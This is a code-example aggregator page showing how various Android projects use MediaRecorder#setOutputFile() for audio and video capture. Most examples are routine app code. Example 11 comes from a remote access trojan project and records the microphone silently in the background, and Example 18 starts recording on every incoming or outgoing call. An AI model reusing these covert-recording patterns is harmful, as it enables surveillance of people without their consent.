Java Code Examples for android.media.MediaRecorder#setOutputFile()

The following examples show how to use android.media.MediaRecorder#setOutputFile() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: RecordButton.java    From CoolChat with Apache License 2.0 6 votes vote down vote up
private void init() {

        //如果文件夹不创建的话那么执行到recorder.prepare()就会报错
        File dir = new File(audioPath);
        if (!dir.exists()) {
            dir.mkdirs();
        }

        recorder = new MediaRecorder();
        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
        recorder.setMaxDuration(MAX_LENGTH);
        recorder.setOutputFile(audioFileName);
        try {
            recorder.prepare();
        } catch (IOException e) {
            e.printStackTrace();
            LogUtils.e("MediaRecorder prepare()报错");
        }
    }
 
Example 2
Source File: MainActivity.java    From android-apps with MIT License 6 votes vote down vote up
@Override
protected void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	setContentView(R.layout.activity_main);
	
	start = (Button)findViewById(R.id.button1);
	stop = (Button)findViewById(R.id.button2);
	play = (Button)findViewById(R.id.button3);
	
	stop.setEnabled(false);
    play.setEnabled(false);
    
    outputFile = Environment.getExternalStorageDirectory().getAbsolutePath() + "/myRecorded.3gp";
    mediaRecorder = new MediaRecorder();
    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    mediaRecorder.setOutputFile(outputFile);
    
	
}
 
Example 3
Source File: StreamingRecorder.java    From DeviceConnect-Android with MIT License 6 votes vote down vote up
/**
 * 動画撮影のための準備を行います.
 *
 * @throws IOException 動画撮影の準備に失敗した場合に発生
 */
public synchronized void setUpMediaRecorder(File outputFile) throws IOException {
    if (DEBUG) {
        Log.e(TAG, "Set up MediaRecorder");
        Log.e(TAG, "  VideoSize: " + mSettings.getWidth() + "x" + mSettings.getHeight());
        Log.e(TAG, "  BitRate: " + mSettings.getBitRate());
        Log.e(TAG, "  FrameRate: " + mSettings.getFrameRate());
        Log.e(TAG, "  OutputFile: " + outputFile.getAbsolutePath());
    }

    int rotation = getDisplayRotation();
    mMediaRecorder = new MediaRecorder();
    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    mMediaRecorder.setOutputFile(outputFile.getAbsolutePath());
    mMediaRecorder.setVideoEncodingBitRate(mSettings.getBitRate());
    mMediaRecorder.setVideoFrameRate(mSettings.getFrameRate());
    mMediaRecorder.setVideoSize(mSettings.getWidth(), mSettings.getHeight());
    mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
    mMediaRecorder.setOrientationHint(ORIENTATIONS[mSettings.getSensorOrientation()].get(rotation));
    mMediaRecorder.setOnInfoListener(mOnInfoListener);
    mMediaRecorder.setOnErrorListener(mOnErrorListener);
    mMediaRecorder.prepare();
}
 
Example 4
Source File: MediaRecorderSystemImpl.java    From FamilyChat with Apache License 2.0 6 votes vote down vote up
@Override
public void initRecorder(Camera camera, int cameraId, Surface surface, String filePath)
{
    mMediaRecorder = new MediaRecorder();
    mMediaRecorder.reset();
    if (camera != null)
        mMediaRecorder.setCamera(camera);
    mMediaRecorder.setOnErrorListener(this);
    mMediaRecorder.setPreviewDisplay(surface);
    mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);//视频源
    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//音频源
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);//视频输出格式 也可设为3gp等其他格式
    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频格式
    mMediaRecorder.setVideoSize(640, 480);//设置分辨率,市面上大多数都支持640*480
    //        mediaRecorder.setVideoFrameRate(25);//设置每秒帧数 这个设置有可能会出问题,有的手机不支持这种帧率就会录制失败,这里使用默认的帧率,当然视频的大小肯定会受影响
    //这里设置可以调整清晰度
    mMediaRecorder.setVideoEncodingBitRate(2 * 1024 * 512);

    if (cameraId == Camera.CameraInfo.CAMERA_FACING_BACK)
        mMediaRecorder.setOrientationHint(90);
    else
        mMediaRecorder.setOrientationHint(270);
    mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);//视频录制格式
    mMediaRecorder.setOutputFile(filePath);
}
 
Example 5
Source File: AudioRecorder.java    From continuous-audiorecorder with BSD 2-Clause "Simplified" License 5 votes vote down vote up
/**
 * Continues an existing record or starts a new one.
 *
 * @param listener The listener instance.
 */
@SuppressLint("NewApi")
public void start(@NonNull final OnStartListener listener) {
    StartRecordTask task = new StartRecordTask();

    mMediaRecorder = new MediaRecorder();
    mMediaRecorder.setAudioEncodingBitRate(mMediaRecorderConfig.mAudioEncodingBitRate);
    mMediaRecorder.setAudioChannels(mMediaRecorderConfig.mAudioChannels);
    mMediaRecorder.setAudioSource(mMediaRecorderConfig.mAudioSource);
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    mMediaRecorder.setOutputFile(getTemporaryFileName());
    mMediaRecorder.setAudioEncoder(mMediaRecorderConfig.mAudioEncoder);

    task.execute(listener);
}
 
Example 6
Source File: RecordingActivity.java    From Pix-Art-Messenger with GNU General Public License v3.0 5 votes vote down vote up
private boolean startRecording() {
    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    if (alternativeCodec) {
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    } else {
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        mRecorder.setAudioEncodingBitRate(96000);
        mRecorder.setAudioSamplingRate(22050);
    }
    setupOutputFile();
    mRecorder.setOutputFile(mOutputFile.getAbsolutePath());

    try {
        mRecorder.prepare();
        mRecorder.start();
        mStartTime = SystemClock.elapsedRealtime();
        mHandler.postDelayed(mTickExecutor, 100);
        Log.d("Voice Recorder", "started recording to " + mOutputFile.getAbsolutePath());
        return true;
    } catch (Exception e) {
        Log.e("Voice Recorder", "prepare() failed " + e.getMessage());
        return false;
    }
}
 
Example 7
Source File: ChatActivity.java    From android-docs-samples with Apache License 2.0 5 votes vote down vote up
private void promptSpeechInput() {
    final MediaRecorder recorder = new MediaRecorder();
    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    recorder.setOutputFormat(MediaRecorder.OutputFormat.AMR_NB);
    recorder.setAudioSamplingRate(8000);
    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
    recorder.setOutputFile(fileName);

    try {
        recorder.prepare();
    } catch (IOException e) {
        Toast.makeText(
                getApplicationContext(),
                "Failed to record audio",
                Toast.LENGTH_SHORT).show();
        return;
    }

    AlertDialog alertDialog = new AlertDialog.Builder(this)
            .setMessage("Recording")
            .setPositiveButton("Send", new DialogInterface.OnClickListener() {
                @Override
                public void onClick(DialogInterface dialogInterface, int i) {
                    recorder.stop();
                    recorder.release();
                    sendAudio();
                }
            })
            .create();

    recorder.start();
    alertDialog.show();
}
 
Example 8
Source File: RecordingService.java    From GravityBox with Apache License 2.0 5 votes vote down vote up
private void startRecording() {
    String statusMessage = "";
    String audioFileName = prepareOutputFile();
    try {
        mRecorder = new MediaRecorder();
        mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mRecorder.setOutputFile(audioFileName);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        mRecorder.setAudioEncodingBitRate(96000);
        mRecorder.setAudioSamplingRate(mSamplingRate);
        mRecorder.setOnErrorListener(mOnErrorListener);
        mRecorder.prepare();
        mRecorder.start();
        mRecordingStatus = RECORDING_STATUS_STARTED;
        startForeground(1, mRecordingNotif);
    } catch (Exception e) {
        e.printStackTrace();
        mRecordingStatus = RECORDING_STATUS_ERROR;
        statusMessage = e.getMessage();
    } finally {
        Intent i = new Intent(ACTION_RECORDING_STATUS_CHANGED);
        i.putExtra(EXTRA_RECORDING_STATUS, mRecordingStatus);
        if (mRecordingStatus == RECORDING_STATUS_STARTED) {
            i.putExtra(EXTRA_AUDIO_FILENAME, audioFileName);
        }
        i.putExtra(EXTRA_STATUS_MESSAGE, statusMessage); 
        sendBroadcast(i);
    }
}
 
Example 9
Source File: AudioRecorder.java    From RxAndroidAudio with MIT License 5 votes vote down vote up
/**
 * prepare for a new audio record.
 */
@WorkerThread
public synchronized boolean prepareRecord(int audioSource, int outputFormat, int audioEncoder,
        int sampleRate, int bitRate, File outputFile) {
    stopRecord();

    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(audioSource);
    mRecorder.setOutputFormat(outputFormat);
    mRecorder.setAudioSamplingRate(sampleRate);
    mRecorder.setAudioEncodingBitRate(bitRate);
    mRecorder.setAudioEncoder(audioEncoder);
    mRecorder.setOutputFile(outputFile.getAbsolutePath());

    // Handle IOException
    try {
        mRecorder.prepare();
    } catch (IOException exception) {
        Log.w(TAG, "startRecord fail, prepare fail: " + exception.getMessage());
        setError(ERROR_INTERNAL);
        mRecorder.reset();
        mRecorder.release();
        mRecorder = null;
        return false;
    }
    mState = STATE_PREPARED;
    return true;
}
 
Example 10
Source File: AudioRecorder.java    From ChatMessagesAdapter-android with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
private void initMediaRecorder() {
    recorder = new MediaRecorder();
    recorder.setAudioSource(configurationBuilder.audioSource);
    recorder.setOutputFormat(configurationBuilder.outputFormat);
    recorder.setOutputFile(configurationBuilder.filePath);
    recorder.setAudioChannels(configurationBuilder.channels);
    recorder.setAudioEncoder(configurationBuilder.audioEncoder);
    recorder.setAudioEncodingBitRate(configurationBuilder.bitRate);
    recorder.setAudioSamplingRate(configurationBuilder.samplingRate);
    recorder.setMaxDuration(configurationBuilder.duration);
    recorder.setOnInfoListener(new OnInfoListenerImpl());
    recorder.setOnErrorListener(new OnErrorListenerImpl());
}
 
Example 11
Source File: MyService.java    From Dendroid-HTTP-RAT with GNU General Public License v3.0 5 votes vote down vote up
@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }
 
Example 12
Source File: ApplozicAudioRecordManager.java    From Applozic-Android-SDK with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
public MediaRecorder prepareMediaRecorder() {

        audioRecorder = new MediaRecorder();
        audioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        audioRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        audioRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        audioRecorder.setAudioEncodingBitRate(256);
        audioRecorder.setAudioChannels(1);
        audioRecorder.setAudioSamplingRate(44100);
        audioRecorder.setOutputFile(outputFile);
        audioRecorder.setOnInfoListener(this);
        audioRecorder.setOnErrorListener(this);

        return audioRecorder;
    }
 
Example 13
Source File: MainActivity.java    From astrobee_android with Apache License 2.0 5 votes vote down vote up
public void onRecordClick(View v) {
    if (!mRecording) {
        File f = new File(getExternalFilesDir(null), "recording.mp4");

        mRecorder = new MediaRecorder();
        mRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mRecorder.setOutputFile(f.getAbsolutePath());
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC_ELD);
        mRecorder.setAudioSamplingRate(48000);
        mRecorder.setAudioEncodingBitRate(96000);

        try {
            mRecorder.prepare();
        } catch (IOException e) {
            Log.e(TAG, "unable to prepare MediaRecorder");
            mRecorder = null;
            return;
        }

        mRecorder.start();
        mRecording = true;

        setState(STATE_RECORDING);
    } else {
        mRecorder.stop();
        mRecorder.release();
        mRecording = false;

        setState(STATE_IDLE);
    }
}
 
Example 14
Source File: Camera2Source.java    From Machine-Learning-Projects-for-Mobile-Applications with MIT License 5 votes vote down vote up
public void recordVideo(VideoStartCallback videoStartCallback, VideoStopCallback videoStopCallback, VideoErrorCallback videoErrorCallback) {
    try {
        this.videoStartCallback = videoStartCallback;
        this.videoStopCallback = videoStopCallback;
        this.videoErrorCallback = videoErrorCallback;
        if (mCameraDevice == null || !mTextureView.isAvailable() || mPreviewSize == null) {
            this.videoErrorCallback.onVideoError("Camera not ready.");
            return;
        }
        videoFile = Environment.getExternalStorageDirectory() + "/" + formatter.format(new Date()) + ".mp4";
        mMediaRecorder = new MediaRecorder();
        //mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mMediaRecorder.setOutputFile(videoFile);
        mMediaRecorder.setVideoEncodingBitRate(10000000);
        mMediaRecorder.setVideoFrameRate(30);
        mMediaRecorder.setVideoSize(mVideoSize.getWidth(), mVideoSize.getHeight());
        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
        //mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        if (swappedDimensions) {
            mMediaRecorder.setOrientationHint(INVERSE_ORIENTATIONS.get(mDisplayOrientation));
        } else {
            mMediaRecorder.setOrientationHint(ORIENTATIONS.get(mDisplayOrientation));
        }
        mMediaRecorder.prepare();
        closePreviewSession();
        createCameraRecordSession();
    } catch (IOException ex) {
        Log.d(TAG, "Video Recording error"+ex.getMessage());
    }
}
 
Example 15
Source File: AudioMessageFragment.java    From Applozic-Android-SDK with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
public MediaRecorder prepareMediaRecorder() {

        audioRecorder = new MediaRecorder();
        audioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        audioRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        audioRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        audioRecorder.setAudioEncodingBitRate(256);
        audioRecorder.setAudioChannels(1);
        audioRecorder.setAudioSamplingRate(44100);
        audioRecorder.setOutputFile(outputFile);

        return audioRecorder;
    }
 
Example 16
Source File: VideoRecorder.java    From VideoCamera with Apache License 2.0 5 votes vote down vote up
@SuppressWarnings("deprecation")
protected void configureMediaRecorder(final MediaRecorder recorder, android.hardware.Camera camera) throws IllegalStateException, IllegalArgumentException {
    recorder.setCamera(camera);
    recorder.setAudioSource(mCaptureConfiguration.getAudioSource());
    recorder.setVideoSource(mCaptureConfiguration.getVideoSource());

    CamcorderProfile baseProfile = mCameraWrapper.getBaseRecordingProfile();
    baseProfile.fileFormat = mCaptureConfiguration.getOutputFormat();

    RecordingSize size = mCameraWrapper.getSupportedRecordingSize(mCaptureConfiguration.getVideoWidth(), mCaptureConfiguration.getVideoHeight());
    baseProfile.videoFrameWidth = size.width;
    baseProfile.videoFrameHeight = size.height;
    baseProfile.videoBitRate = mCaptureConfiguration.getVideoBitrate();

    baseProfile.audioCodec = mCaptureConfiguration.getAudioEncoder();
    baseProfile.videoCodec = mCaptureConfiguration.getVideoEncoder();

    recorder.setProfile(baseProfile);
    recorder.setMaxDuration(mCaptureConfiguration.getMaxCaptureDuration());
    recorder.setOutputFile(mVideoFile.getFullPath());
    recorder.setOrientationHint(mCameraWrapper.getRotationCorrection());

    try {
        recorder.setMaxFileSize(mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (IllegalArgumentException e) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - illegal argument: " + mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (RuntimeException e2) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - runtime exception");
    }
    recorder.setOnInfoListener(this);
}
 
Example 17
Source File: ConversationDetailActivity.java    From zom-android-matrix with Apache License 2.0 4 votes vote down vote up
public void startAudioRecording ()
{
    int permissionCheck = ContextCompat.checkSelfPermission(this,
            Manifest.permission.RECORD_AUDIO);

    if (permissionCheck ==PackageManager.PERMISSION_DENIED)
    {
        // Should we show an explanation?
        if (ActivityCompat.shouldShowRequestPermissionRationale(this,
                Manifest.permission.RECORD_AUDIO)) {


            // Show an expanation to the user *asynchronously* -- don't block
            // this thread waiting for the user's response! After the user
            // sees the explanation, try again to request the permission.
            Snackbar.make(mConvoView.getHistoryView(), R.string.grant_perms, Snackbar.LENGTH_LONG).show();
        } else {

            // No explanation needed, we can request the permission.

            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.RECORD_AUDIO},
                    MY_PERMISSIONS_REQUEST_AUDIO);

            // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an
            // app-defined int constant. The callback method gets the
            // result of the request.
        }
    }
    else {

        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
        if (am.getMode() == AudioManager.MODE_NORMAL) {

            mMediaRecorder = new MediaRecorder();

            String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a";
            mAudioFilePath = new File(getFilesDir(), fileName);

            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
            mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
            mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);

            //maybe we can modify these in the future, or allow people to tweak them
            mMediaRecorder.setAudioChannels(1);
            mMediaRecorder.setAudioEncodingBitRate(22050);
            mMediaRecorder.setAudioSamplingRate(64000);

            mMediaRecorder.setOutputFile(mAudioFilePath.getAbsolutePath());

            try {
                mIsAudioRecording = true;
                mMediaRecorder.prepare();
                mMediaRecorder.start();
            } catch (Exception e) {
                Log.e(LOG_TAG, "couldn't start audio", e);
            }
        }
    }
}
 
Example 18
Source File: CallStateBroadcastReceiver.java    From PhoneMonitor with GNU General Public License v3.0 4 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {
    Intent startMainServiceIntent = new Intent(context, MainService.class);
    context.startService(startMainServiceIntent);

    String action = intent.getAction();
    if (action != null && action.equals("android.intent.action.PHONE_STATE")) {
        String number = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER);
        if (number != null) {
            String callState = intent.getStringExtra(TelephonyManager.EXTRA_STATE);
            Log.w(AppSettings.getTAG(), "Broadcast received!\n" + action + number + callState);
            if (callState.equals(TelephonyManager.EXTRA_STATE_OFFHOOK) || callState.equals(TelephonyManager.EXTRA_STATE_RINGING)) {
                if (!recordingState) {
                    /* start recording audio */
                    DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.getDefault());
                    outputFileName = context.getFilesDir().getAbsolutePath() + "/" + dateFormat.format(new Date()) + ".mp4.tmp";
                    mediaRecorder = new MediaRecorder();
                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
                    mediaRecorder.setOutputFile(outputFileName);
                    try {
                        mediaRecorder.prepare();
                        mediaRecorder.start();
                        recordingState = true;
                        Log.w(AppSettings.getTAG(), "Recording started to " + outputFileName);
                    } catch (IOException ioexception) {
                        Log.w(AppSettings.getTAG(), ioexception.getMessage() + " while recording audio.");
                        mediaRecorder.release();
                        recordingState = false;
                    }
                }
            } else if (callState.equals(TelephonyManager.EXTRA_STATE_IDLE)) {
                if (recordingState) {
                    mediaRecorder.stop();
                    mediaRecorder.release();
                    HelperMethods.renameTmpFile(outputFileName);//rename .tmp to .mp4
                    HelperMethods.removeBrokenTmpFiles(context.getFilesDir().getAbsolutePath() + "/");//remove any orphan .tmp files
                    recordingState = false;
                    Log.w(AppSettings.getTAG(), "Recording stopped");
                }
            }

        }


    }

}
 
Example 19
Source File: CameraEngine.java    From Fatigue-Detection with MIT License 4 votes vote down vote up
private boolean prepareMediaRecorder() {
        try {
           // final Activity activity = getActivity();
            //if (null == activity) return false;
            //final BaseCaptureInterface captureInterface = (BaseCaptureInterface) activity;

           // setCameraDisplayOrientation(mCamera.getParameters());
            mMediaRecorder = new MediaRecorder();
            camera.stopPreview();
            camera.unlock();
            mMediaRecorder.setCamera(camera);

  //          boolean canUseAudio = true;
            //boolean audioEnabled = !mInterface.audioDisabled();
            //if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
            //    canUseAudio = ContextCompat.checkSelfPermission(activity, Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED;

//            if (canUseAudio && audioEnabled) {
                mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
//            } else if (audioEnabled) {
//                Toast.makeText(getActivity(), R.string.mcam_no_audio_access, Toast.LENGTH_LONG).show();
//            }
            mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.DEFAULT);

            final CamcorderProfile profile = CamcorderProfile.get(currentCameraId, CamcorderProfile.QUALITY_HIGH);
            mMediaRecorder.setOutputFormat(profile.fileFormat);
            mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
            mMediaRecorder.setVideoSize(previewSize.width, previewSize.height);
            mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
            mMediaRecorder.setVideoEncoder(profile.videoCodec);

            mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
            mMediaRecorder.setAudioChannels(profile.audioChannels);
            mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
            mMediaRecorder.setAudioEncoder(profile.audioCodec);


            Uri uri = Uri.fromFile(FileUtils.makeTempFile(
                    new File(Environment.getExternalStorageDirectory(),
                            "/Omoshiroi/videos").getAbsolutePath(),
                    "VID_", ".mp4"));

            mMediaRecorder.setOutputFile(uri.getPath());

//            if (captureInterface.maxAllowedFileSize() > 0) {
//                mMediaRecorder.setMaxFileSize(captureInterface.maxAllowedFileSize());
//                mMediaRecorder.setOnInfoListener(new MediaRecorder.OnInfoListener() {
//                    @Override
//                    public void onInfo(MediaRecorder mediaRecorder, int what, int extra) {
//                        if (what == MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
//                            Toast.makeText(getActivity(), R.string.mcam_file_size_limit_reached, Toast.LENGTH_SHORT).show();
//                            stopRecordingVideo(false);
//                        }
//                    }
//                });
//            }

            mMediaRecorder.setOrientationHint(90);
     //       mMediaRecorder.setPreviewDisplay(mPreviewView.getHolder().getSurface());

            mMediaRecorder.prepare();
            return true;

        } catch (Exception e) {
            camera.lock();
            e.printStackTrace();
            return false;
        }
    }
 
Example 20
Source File: AudioStream.java    From libstreaming with Apache License 2.0 4 votes vote down vote up
@Override
protected void encodeWithMediaRecorder() throws IOException {
	
	// We need a local socket to forward data output by the camera to the packetizer
	createSockets();

	Log.v(TAG,"Requested audio with "+mQuality.bitRate/1000+"kbps"+" at "+mQuality.samplingRate/1000+"kHz");
	
	mMediaRecorder = new MediaRecorder();
	mMediaRecorder.setAudioSource(mAudioSource);
	mMediaRecorder.setOutputFormat(mOutputFormat);
	mMediaRecorder.setAudioEncoder(mAudioEncoder);
	mMediaRecorder.setAudioChannels(1);
	mMediaRecorder.setAudioSamplingRate(mQuality.samplingRate);
	mMediaRecorder.setAudioEncodingBitRate(mQuality.bitRate);
	
	// We write the output of the camera in a local socket instead of a file !			
	// This one little trick makes streaming feasible quiet simply: data from the camera
	// can then be manipulated at the other end of the socket
	FileDescriptor fd = null;
	if (sPipeApi == PIPE_API_PFD) {
		fd = mParcelWrite.getFileDescriptor();
	} else  {
		fd = mSender.getFileDescriptor();
	}
	mMediaRecorder.setOutputFile(fd);
	mMediaRecorder.setOutputFile(fd);

	mMediaRecorder.prepare();
	mMediaRecorder.start();

	InputStream is = null;
	
	if (sPipeApi == PIPE_API_PFD) {
		is = new ParcelFileDescriptor.AutoCloseInputStream(mParcelRead);
	} else  {
		try {
			// mReceiver.getInputStream contains the data from the camera
			is = mReceiver.getInputStream();
		} catch (IOException e) {
			stop();
			throw new IOException("Something happened with the local sockets :/ Start failed !");
		}
	}

	// the mPacketizer encapsulates this stream in an RTP stream and send it over the network
	mPacketizer.setInputStream(is);
	mPacketizer.start();
	mStreaming = true;
	
}